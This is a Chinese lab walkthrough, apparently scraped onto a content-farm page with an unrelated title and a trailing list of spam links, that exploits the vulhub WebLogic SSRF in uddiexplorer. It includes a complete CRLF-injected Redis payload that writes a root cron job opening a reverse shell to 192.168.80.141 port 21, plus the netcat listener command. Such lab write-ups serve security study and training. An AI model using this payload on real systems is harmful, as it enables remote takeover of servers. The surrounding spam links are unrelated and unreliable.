当前位置: 首页 > news >正文

电商网站的付款功能一键wordpress建站

电商网站的付款功能,一键wordpress建站,wordpress写文章报错,php网站开发速成感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 文章目录 漏洞测试注入HTTP头,利用Redis反弹shell 问题解决 Path : vulhub/weblogic/ssrf 编译及启动测试环境 docker compose up -dWeblogic中存在一个SSRF漏洞&#xff0…

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 漏洞测试
        • 注入HTTP头,利用Redis反弹shell
      • 问题解决

Path : vulhub/weblogic/ssrf

编译及启动测试环境

docker compose up -d

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

访问http://127.0.0.1:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用

在这里插入图片描述

点击Search Public Registries

在这里插入图片描述

来到http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp页面

在这里插入图片描述

漏洞测试

打开BurpSuite测试,点击Search按钮

Ctrl+r发送到Repeater模块,观察数据包

在这里插入图片描述

根据数据包的响应信息,可以猜测operator参数后面可以跟一个url地址

利用dnslog平台测试,生成一个域名

在这里插入图片描述

在这里插入图片描述

成功解析到,说明operator后面 可以做url地址请求,说明存在SSRF 漏洞

在这里插入图片描述

访问一个可以访问的IP:PORT,如http://127.0.0.1:80

在这里插入图片描述

发现80端口没有开放

在访问7001端口,

在这里插入图片描述

通过错误的不同,即可探测内网状态。

环境是在docker上启动的,(docker环境的网段一般是172.*)

在这里插入图片描述

注入HTTP头,利用Redis反弹shell

发送三条redis命令,将弹shell脚本写入/etc/crontab

反弹到kali上

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.80.141/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

http://172.19.0.2:6379/saury%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Asaury

kali开启监听:

nc -lvvp 21

bp发送请求

在这里插入图片描述

等待计划任务生效

在这里插入图片描述

成功拿到shell

问题解决

在使用sudo docker-compose up -d启动环境的时候,只启动了weblogic,没有启动redis

在这里插入图片描述

修改如下配置

vim /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

在这里插入图片描述

:wq保存后,命令行运行update-grub

reboot重启,redis成功启动

解决方法来自:https://blog.csdn.net/weixin_43886198/article/details/111144854

http://www.yayakq.cn/news/426115/

相关文章:

  • 百度提交收录入口广州市口碑seo推广
  • 无锡企业网站制作公司网站建设设计公司 知乎
  • 长沙装修网站排名一个好的网站应该具有什么
  • 成都h5建站花都有沒有网站建设的
  • 做公司网站需要会什么科目网站建设策划书有哪些内容
  • 怎么用ps做网站海淀网站开发
  • 永久免费生成app网站wordpress模版标签
  • dedecms行业协会网站织梦模板wordpress怎么改
  • wordpress管理网站东莞官方网站建设
  • 如何查看网站有没有收录搜索引擎是什么意思啊
  • 建设银行成都开发中心网站龙华网站建设全包
  • 响应式网站如何设计互联网推广方案
  • 为什么做免费视频网站html制作一个个人主页网站
  • 长春电商网站建设价格租用外国服务器网站网站建设
  • 网站建设需要什么知识2012r2做网站
  • 如何添加网站 ico图标泉州网页定制
  • 网站设计与网页制作岗位招聘信息网站搭建徐州百度网络
  • 素材网站有哪些php如何解析wordpress
  • 网站做商城深圳企业建站公司
  • 建设网站书做网站快速排名
  • 谷歌网站推广费用wordpress+联动筛选
  • 360网站推广官网软件公司概况-环保公司网站模板
  • 青海企业网站制作网站怎么做qq的授权登陆
  • dw中网站统计总访问量怎么做淘宝网官方网站免费下载
  • 网站建设误区图郑州网站建设哪家好怎么样
  • 成都网站建设cdsqywl域名申请好了怎么做网站
  • 官方网站建设思路网站建设入账哪个科目
  • 北京中国建设部网站小卖部做网站
  • 网站制作长春对红色网站建设的建议
  • 株洲做网站需要多少钱免费下载微信